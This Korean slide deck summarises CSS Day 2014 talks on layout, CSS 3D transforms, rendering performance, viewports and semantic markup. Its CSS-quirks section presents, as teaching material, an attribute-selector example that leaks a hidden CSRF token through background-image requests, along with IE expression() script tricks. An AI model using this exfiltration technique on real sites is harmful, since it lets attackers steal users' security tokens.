[전파교육] css day 2014

CSS Day 2014, 4th of June, Amsterdam
NHN Technology Services
UIT개발실 민경환

Web Conferences Amsterdam
Organises deep diving web conferences and workshops,
in Amsterdam, with a strong focus on content.
We (PPK, Krijn Hoetmer, Stephen Hay and Martijn van
Duuren) combine deep knowledge of the (mobile) web
with the necessary organisational skills.

Conferences so far
dsgnday, @dsgndayconf
CSS Day, @cssdayconf
CSS Day 2014
CSS Day 2013
Mobilism, @mobilismconf
Mobilism 2013
Mobilism 2012
Mobilism 2011
PhoneGap Day EU
PhoneGap Day EU 2013
PhoneGap Day EU 2012

#speackers {
Tab Atkins: "layout";
Ana Tudor: "3d transforms";
David Baron: "animations";
Mathias Bynens: "fun facts";
Peter-Paul Koch: "viewports";
Heydon Pickering: "effortless style";
Ethan Marcotte: "responsive design";
}
Our MC, Stephen Hay

display : box
display : flexbox
display : flex
WD-css3-flexbox-20090723/ :

http://codepen.io/korearice/pen/rsgyG
http://codepen.io/korearice/pen/uKoeL
내비게이션
practice

http://codepen.io/korearice/pen/fKjpx
http://codepen.io/korearice/pen/nGczj
채팅창
practice

http://codepen.io/korearice/pen/GvnEF
http://codepen.io/korearice/pen/kgHrG
드랍다운 메뉴
practice

http://codepen.io/korearice/pen/dlGhc/
http://codepen.io/korearice/pen/IEuCs
플렉서블 레이아웃
practice

http://codepen.io/korearice/full/CDasF
Sorting
practice

body {
display:grid;
grid-template: “logo header header”
“logo nav nav”
“news text pics”
“news footer footer”
}
#logo { grid-template: logo;}
#header { grid-template: header;}
#nav { grid-template: nav;}

key
point
• 레이아웃은 알고리즘화 되야한다
• 그리드를 먼저 계산해라
• UI 인터랙션을 고민하라
• 하위 브라우저는 고정 레이아웃으로
• 응용 사례를 확보하자

입체 피라미드 만들기
간단한 수학공식을 이해한다
이등변 / 정 삼각형을 만든다
입체 피라미드를 쪼갠다
삼각형을 조합 / 변형하여 입체 피라미드를 완성한다

피타고라스의 정리 삼각함수

트랜스폼 속성 이해
practice

cos(α) = (l / 2) / (m / 2)
cos(α) = l / m
tan(α) = d / (l / 2)

스큐적용 후 변의 길이
• 스큐의 각 = 평행사변형의 90°± α
• 스큐의 좌표 값 변화
skewX() : (x, y) → （x + α, y）
skewY() : (x, y) → （x, y + α）
• 좌표의 이동거리 계산
skewX() : α = y * tan(α)
skewY() : α = x * tan(α)

중심각, 내접원, 외접원

n = 다각형의 개수
β = 360°/n
sin(β/2) = (l/2) / R
→ R = (l/2) / sin(β/2)
tan(β/2) = (l/2) / r
→ r = (l/2) / tan(β/2)
중심각, 내접원, 외접원

입체 피라미드 만들기
우리가 알고 있는 것들
• 밑받침 도형의 모서리 길이
• 피라미드 옆면 삼각형의 모서리 길이
• 피라미드 내접원의 반지름
우리가 알아내야 할 것들
• 옆면 삼각형의 중심각
• 피라미드 단면의 측면각
• 피라미드의 높이

아크사인 계산로직
http://thesassway.com/advanced/inverse-trigonometric-functions-with-sass

입체 피라미드의 구성
• 밑받침 도형의 모서리 길이 : 1
• 밑받침 도형의 꼭지점 각 : 72°
• 피라미드 내접원의 반지름 : .69 * 1
• 피라미드 높이 : ~1/4
• 옆면 삼각형의 높이 : ~.73 * 1
• 옆면 삼각형의 모서리 : .89 * 1
• 옆면 삼각형의 상단 꼭지점 각 : ~2 * asin(.5/1.1) ≅ 53.77°
• 단면 삼각형의 옆 꼭지점 각 : 19.92°

피라미드 만들기
practice

http://codepen.io/thebabydino/pen/kpCyx
sam
ple
To do...

key
point
• 모든 다각형은 삼각형으로 부터 시작한다
• 다각형과 입체모형을 어떻게 쪼갤 것인가?
• 각과 모서리의 길이를 확보한다
• CSS 전처리기를 활용하자
• transform 전문인력 양성

렌더링 절차
html, svg, etc
Content Tree
/ Dom Tree
Construct
(incl, selector
matching)
Redering Tree
/ Frame Tree
(incl, Style)
Paint
Layer
Composite
Screen
Script
CSS
Parse
Dom
API
CSSOM
API

파싱
html
head
body
div
h1 p
title
“Web browser’s p..”
“Web browser’s p..” “This is...”

렌더 트리 (프레임 트리)
html
head
body
div
h1 p
title
“Web
browser’s p..”
“Web browser’s p..” “This is...”
View port
Scroll
Block
Block
Block
Block Block
Text Text
Document

레이어 트레이드 오프
페이지에 따라 레이어가 성능에 미치는 영향이 다를 수 있다
지속적인 프로파일링을 통해 레이어 생성 시점을 탐색하는 것이 중요하다
• 레이어가 적을 경우
요소를 repaint하는 비용이 많이 발생한다
• 레이어가 많을 경우
메모리를 많이 차지한다
각 요소들의 스타일을 병합하는 비용이 많이 발생한다
레이어로 병합하는 것에 대한 성능은 브라우저마다 다를 수 있다

렌더링 최적화
렌더링 최적화는 렌더링 절차를 최소화 하는 것이다
• 렌더링 최적화가 안된 경우
모든 요소의 Dom style을 다시 계산할 수 있다
• 최적화된 렌더링
전체 렌더링 과정을 생략할 수 있다
부분별 렌더링 과정을 생략할 수 있다
바뀐 부분을 다시 병합할 수 있다

단계 건너뛰기
Content
Match
selectors
Compute
style
Contruct
frames
LayoutPaintComposite
DOM
Special-case
optimizations

콜레싱 (Coalescing)
특정 요소에 여러번의 리플로우가 필요할 때 매번 실행하지 않고
변경사항에 대한 큐(대기열)를 설정 후 한번만 실행한다
시간이 경과하거나 변경횟수가 도달했을 때 큐(대기열)를 플러시 하기도 한다
• 같은 요소를 두번 변경한 경우
element.style.position = "absolute";
element.style.overﬂow = "auto";
• 자신을 통해 다른 요소를 핸들링한 경우
element.style.backgroundColor = "aqua";
element.parentNode.style.backgroundColor = "white";

특정 스크립트는 리플로우 최적화를 막기도 하고
큐(대기열)를 플러시한 상태인데도 모든 변경사항을 실행한다
• 리플로우 최적화를 방해하는 속성
offset/scroll/client + Top/Left/Width/Height
getComputedStyle() or currentStyle;
• 절대로 하지 말 것
for (var i = 0; i < n; ++i) {
var photo = document.getElementById("photo" + i);
var label = document.getElementById("label" + i);
label.style.top = photo.offsetHeight + "px";
}

Content
Match
selectors
Compute
style
Contruct
frames
DOM
Special-case
optimizations

CSS 트랜지션
:link {
background-color: #c33;
color: white;
transition: background-color 600ms ease;
}
:link:hover { background-color: #c00; }

CSS 애니메이션
@keyframes bounce {
from { transform: translateY(0em) }
to { transform: translateY(-2em) }
}
#ball {
width: 0.5em; height: 0.5em;
background: orange;
border-radius: 50%;
animation: bounce 600ms inﬁnite alternate
cubic-bezier(0.7, 0, 1, 1);
}

애니메이션 렌더링 절차
Content
Match
selectors
Compute
style
Contruct
frames
(most)
Animations
DOM
Special-case
optimizations
every
tick

CSS 애니메이션 특징
CSS 애니메이션은 아래와 같은 특징이 있다
• 스크립트를 사용하지 않아도 된다
• 콜레싱(Coalescing)이 깨질 걱정을 안해도 된다
• opacity, transform 속성 사용시 애니메이션 컴포지터를 사용할 수 있다
• 렌더링 프로세스를 단축할 수 있다

애니메이션 컴포지터 사용
Content
Match
selectors
Compute
style
Contruct
frames
(most)
Animations
DOM
Special-case
optimizations
Compositer
Animations
every
tick
ﬁrst
tick
every
tick

key
point
• reflow와 레이어를 최적화 하자
• 애니메이션은 opacity / transform를 사용하자
• 브라우저마다 다를 수 있다
• 그러므로 끊임없이 프로파일링을 해야한다

!important
.foo .bar {
color: red;
}
.bar {
color: green !important;
}
요소의 스타일 상속관계를 무시하고 최우선순위로 스타일을 입력할 때
!important 속성을 사용한다

!important
.foo .bar {
color: red;
}
.bar.bar.bar.bar.bar {
color: green;
}
요소의 스타일 상속관계를 무시하고 최우선순위로 스타일을 입력할 때
!important 속성을 사용한다

Font family names in CSS
html {
font-family: ‘Comic Sans MS’;
}
폰트 패밀리 속성에 공백이 있을 경우 폰트 패밀리 속성을
따옴표로 묶어줘야 한다

html {
font-family: Comic Sans MS;
}
폰트 패밀리 속성에 공백이 있을 경우 폰트 패밀리 속성을
따옴표로 묶어줘야 한다

html {
font-family: 456bereastreet;
}
그러므로 모든 폰트 패밀리 속성은 따옴표 없이 사용해도 된다

html {
font-family: 34 56bereastreet;
}
html {
font-family: ‘456bereastreet’;
}
첫 글자가 숫자일 경우는 escape 문법을 사용하거나
따옴표를 사용한다

Attribute values
<a href=”foo”>permalink</a>
<style>
a[href=”foo”] {
background: hotpink
}
</style>
속성 선택자를 사용시 따옴표를 써야한다

Unquoted attribute values
<a href=foo>permalink</a>
<style>
a[href=foo] {
background: hotpink
}
</style>
속성 선택자를 사용시 따옴표를 쓰지 않아도 된다

Unquoted attribute values
<a href=foo?bar>permalink</a>
<style>
a[href=foo?bar] {
background: hotpink
}
</style>
속성 선택자를 사용시 따옴표를 쓰지 않아도 된다
속성에 특수문자가 있으면 속성 선택자에 반드시 따옴표를 써야한다

CSS comments
.some-selector {
background: hotpink;
/* color: red; */
text-align: center;
}
CSS에서 주석은 블록 코멘트 (/**/) 로 작성해야만 한다

CSS comments
.some-selector {
// color: red;
text-align: center;
}
싱글 라인 코멘트(//)도 쓸 수 있다

CSS comments
.some-selector {
colour: red;
text-align: center;
}
잘못된 속성명으로도 주석 효과를 낼 수 있다

Valid HTML
<!DOCTYPE html>
<html>
<head>
<title>foo</title>
</head>
<body>
...
</body>
</html>
html은 여는 태그와 함께 닫는 태그를 반드시 써줘야 한다

Valid HTML
<!DOCTYPE html>
<html>
<head>
<title>hul?</title>
<body>
...

Valid HTML
<!DOCTYPE html>
<title>hul?</title>
...

Classes and IDs in HTML
<p class="#">Foo.</p>
<p class="##">Bar.</p>
<p class="♥">Baz.</p>
<p class="©">Inga.</p>
<p class="{}">Lorem.</p>
<p class="“‘’”">Ipsum.</p>
<p class="#id">Good luck styling me!</p>
<p class=".class">heh</p>
<p class="#id.class:hover{}">huh</p>
아이디나 클래스 명칭은 특수문자로 쓸 수 없다

Classes and IDs in HTML
##id { }
..class { }
##id.class:hover {} { }
##id.class3A hover {} { }
.[attr=‘value’] { }
#34 04-error { }
아이디나 클래스 명칭은 특수문자로 쓸 수 없다
<p id=”#id”>
<p class=”.class”>
<p id=”#id.class:hover{}”>
<p class=”[attr=‘value’]”>
<p id=”404-error”>

Escaping CSS selectors
특수문자로 된 셀렉터는 CSS.escape()속성을 사용한다
var $el = $(‘#’ + CSS.escape(location.hash));
// ...
var $a = $(‘a[href=”’ + CSS.escape(someValue)) +
‘“]’);
// ...

Injection contexts
<style>
p { color: <%= USER_COLOR %>;}
</style>
<p>
Hello <%= USER_NAME %>
<a href=” <%= USER_URL %>”>View your account</a>.
</p>
<script>
window.userID = <%= USER_ID %>;
</script>
스타일을 동적으로 관리하기 위해 서버데이터를 받아올 수 있다

Stealing data from the Dom
<input type=”hidden”
name=”csrf-token”
id=”csrf”
value=”abcdef...”>
요소의 속성값을 이용해 스타일을 변경할 수 있다
#csrf[value^=”a”] {
background:url(/abc.com/?v=a)
}
#csrf[value^=”b”] {
background:url(/abc.com/?v=b)
}
#csrf[value^=”c”] {
background:url(/abc.com/?v=c)
}

CSS Expressions in ≤ IE7
CSS Expressions는 IE5 ~ IE7까지 지원된다
#myDiv {
position: absolute;
left: expression(
document.body.clientWidth / 2 - myDiv.offsetWidth / 2
);
top: expression(
document.body.clientHeight / 2 - myDiv.offsetHeight / 2
);
}

IE5 ~ IE 7 에선 CSS로 alert을 띄운다
* {
width: expressions(
alert(‘Can I use?’);
);
}

alert을 한번만 띄우려면?
* {
width: expressions(
if (!window.done)
alert(‘Can I use?’),
window.done=1
);
}

새창도 가능하다
* {
WIT: expressions(
if (!window.done)
alert(‘UIT개발실 블로그’);
open(‘http://wit.nts-corp.com’),
window.done=1
);
}

key
point
• 때로는 엽기 코딩이 뜻밖의 결과를 가져온다
• 왜인지 알고 쓰자
• 코딩 컨벤션 한번 점검해야하지 않을까?
• IE 5/6/7 너무 무시하지 말자

픽셀의 종류
픽셀에는 세종류가 있다
• CSS 픽셀 (CSS Pixel)
CSS픽셀은 우리가 CSS에서 흔히 선언하는 width:190px이나
padding-left:20px과 같은 픽셀 단위이다
• 디바이스 픽셀 (Device Pixel)
디바이스의 물리적 픽셀. 디바이스 종류에 따라 크기는 다를 수 있다
• 밀도 독립 픽셀(Density-independent Pixel)
기기의 물리적 픽셀에 영향받지 않고 독립적 크기를 지정할 수 있는
가상적 픽셀단위이다

뷰포트의 종류
뷰포트에는 두종류가 있다
• 레이아웃 뷰포트(layout viewport)
모바일기기의 기본적으로 레이아웃 뷰포트 사이즈는 768px~1024px 이다.
대부분 980px 사이즈를 많이 사용한다
많은 기술을 이용하여 레이아웃 뷰포트 사이즈를 재정의할 수 있다
• 비주얼 뷰포트 (visual viewport)
전체 페이지에서 현재 화면에 보이는 영역이다
레이아웃 뷰포트를 완전히 zoom out 상태에서 나타낼 수 있는 크기이다

뷰포트 사이즈 측정
document.documentElement.clientWidth
document.documentElement.clientHeight
document.documentElement.clientWidth
• 레이아웃 뷰포트
모든 디바이스에서 동작한다
window.innerWidth
window.innerHeight
• 비주얼 뷰포트
안드로이드 2, 오페라 미니, UC8에선 다른 값을 반환한다

아이디얼 뷰포트(ideal viewport)
모바일 디바이스는 데스크탑과 다르게 아이디얼 뷰포트를 가지고 있다
• 모바일 브라우저 벤더는 모든 웹을 디바이스에 최적화시키려 한다
• 그래서 화면을 키우고 줄이는 수고를 덜 수 있다
• 따라서 사용자는 최적화된 콘텐츠를 읽을 수 있다
• 아이디얼 뷰포트는 디바이스에 최적화된 사이즈를 갖고 있다
• 화면에 보이는 본질적인 width/height 값이다

아이디얼 뷰포트 사이즈 측정
screen.width
screen.height
• 아이디얼 뷰포트
몇몇의 브라우저는 screen.width/height를 아이디얼뷰포트 면적으로 계산한다
하지만 그 외의 브라우저는 디바이스의 픽셀수를 계산한다

메타 뷰포트
메타뷰포트로 레이아웃 뷰포트 사이즈를 아이디얼 뷰포트에 맞게 설정한다
• 픽셀단위의 너비값을 설정할 수 있다 (width=400)
• 아이디얼 뷰포트 사이즈를 넣을 수도 있다

메타 뷰포트
메타 뷰포트는 픽셀과 아이디얼뷰포트 비율로 설정할 수 있다
<meta name=”viewport” content=”width=device-width”>
<meta name=”viewport” content=”width=320”>
<meta name=”viewport” content=”initial-scale = 1”>
<meta name=”viewport” content=”initial-scale = 2”>
<meta name=”viewport” content=”width=400, initial-scale = 1”>
<meta name=”viewport” content=”width=device-width,
initial-scale = 1”>

메타 뷰포트 - CSS
CSS로 뷰포트를 설정할 수 있다
오페라에서 최초 개발되었고 현재는 IE10/11만 지원한다
@media screen and (min-width: 640px) and
(max-width: 1024px) {
@-ms-viewport { width: 640px; }
...
}

미디어쿼리
미디어쿼리 사용시 고려해야 할 중요한 두가지가 있다
• device-width (min-device-width and max-device-width)
screen.width와 같은 결과값이다
하지만 몇몇의 기기에선 디바이스의 픽셀수를 나타낸다
• width (min-width and max width)
아이디얼 뷰포트와 동일한 결과값을 얻을 수 있다
@media all and (max-width: 600px) {
...
}

픽셀 비율
디바이스의 픽셀수와 아이디얼 뷰포트 사이즈의 비율을 나타낸다
if (window.devicePixelRatio >= 2)
@media all and (
(-webkit-min-device-pixel-ratio: 2),
(min-resolution: 192dpi),
)

key
point
• 레이아웃 뷰포트를 아이디얼 뷰포트에 맞춘다
• 자바스크립트로 뷰포트를 측정할 때 디바이스마다
조금씩 다를 수 있다
• 미디어 쿼리로 사이즈를 지정할 때 고정 사이즈 대신
범위 단위로 선언한다 (min/max-width)

시멘틱 마크업
컴퓨터 프로그램이 웹문서 안의 어떤 정보가 어떤 의미를 가지는지
잘 알아볼 수 있도록 HTML을 작성하는 방법 (의미론적 마크업)

클래식과 시멘틱의 차이
클래식 마크업은 요소 의미에 관계없이 클래스에 의존한 마크업이며
시멘틱 마크업은 요소의 의미를 잘 살린 마크업이다

불필요한 클래스는 제거
시멘틱 마크업만으로도 원하는 디자인을 표현할 수 있다

상호운용성 (Interoperability)
정보처리 관련기기를 이용해서 처리된 정보가 다른 기기 이용자간에 원활하게
교환, 처리 가능한 것을 말하며, 기종이 다른 컴퓨터나 단말기를 연결해서
상호 이용한다는 뜻이다

클래스의 남용
시멘틱 마크업을 위해선 클래스 사용을 자제해야한다
• Presentational Markup
• 중복선언이 많아진다
• 다양한 디자인을 표현하기 힘들다
<ul class=”menu”>
<li class=”menu__item”>...</li>
<li class=”menu__item”>...</li>
</ul>

클래스 없이 표현 - HTML
클래스 없이도 요소를 설명할 수 있는 다양한 방법들이 있다
• Role attribute : 요소의 기능 설명한다
• Type attribute : 요소가 나타내는 기능을 지정한다
(form요소, script, embed, param 등)
• Control Types : 폼요소들의 동작 상태를 표시한다
<button role=”시작버튼”>...</button>
<input type=”checkbox”>
<select selected=”selected”>...</select>

클래스 없이 표현 - CSS
CSS엔 클래스외에도 요소를 선택할 수 있는 다양한 셀렉터가 있다
• Relationship selector : 다음요소를 선택할 수 있다
• Attribute selector : 속성 선택자
• nth-child() selector : 수도 클래스이며 n번째 자녀를 선택할 수 있다
button[role=”tab”] {
background-color:
purple;
}
[role=”tab”]
[aria-selected=”true”] {
background-color: white;
color: black;
}

#wrap > * + * {
margin-top:20px
}
A “relationship” selector
20px
20px
20px

:nth-child(3n+1) : last-child
7

~ ~
3 items in last row
nth-last-child(3), nth-last-child(3) ~ li
desired width : 100% / 3

@for $i from l through $cols {
li:nth-child(#{$cols}n+1):nth-last-child(#{$i}) {
width: 100% / $i;
& ~ li {
width: 100% / $i;
}
}
}
$cols = 3(or whatever)

payment page
a[href^=”https”] {
background-image:url(img/lock.png);
}

External page
a[href^="http:"]:not(href*=”this-domain.com”) {
background-image:url(img/ico_external.png);
}

key
point
• 의미에 맞는 태그를 썼으니 클래스는 남용해도
상관없다?
• html 문서 가독성도 시멘틱의 일부이다
• 우리에게 클래스는 마크업 개발자와 프론트엔드
개발자의 영역을 명확하게 구분할 수 있는 중요한
열쇠이다
• 유지보수가 먼저일까? 시멘틱이 먼저일까?

반응형 웹 구축 순서
1 2 3 4
Width
(폭)
Hierarchy
(계층)
Interaction
(상호작용)
Density
(밀도)

1 2 3 4
Width Hierarchy Interaction Density
940px
220px
742px
174px
좌측메뉴 너비 : 220 x 100 / 940 = 23%
본문 너비 : 720 x 100 / 940 = 77%
http://tattly.com/

1 2 3 4
http://tattly.com/

1 2 3 4
http://codepen.io/bradfrost/full/qwJvF

1 2 3 4
http://www.bostonglobe.com/

http://bradfrost.github.io/this-is-responsive/patterns.html
http://mediaqueri.es/

스타벅스
스타일 가이드
http://www.starbucks.com/static/reference/styleguide/

http://www.slideshare.net/deview/1openseminar

key
point
• 때로는 게을러져야 한다
• 버릴건 과감히 버리자
• 개발자들이 더욱 적극적으로 커뮤니케이션을
이끌어야 한다
• 당신이 보는 화면이 끝이 아니다.
• 더 많이 테스트하라

[전파교육] css day 2014

Recommended

Recommended

More Related Content

Similar to [전파교육] css day 2014

Similar to [전파교육] css day 2014 (20)

[전파교육] css day 2014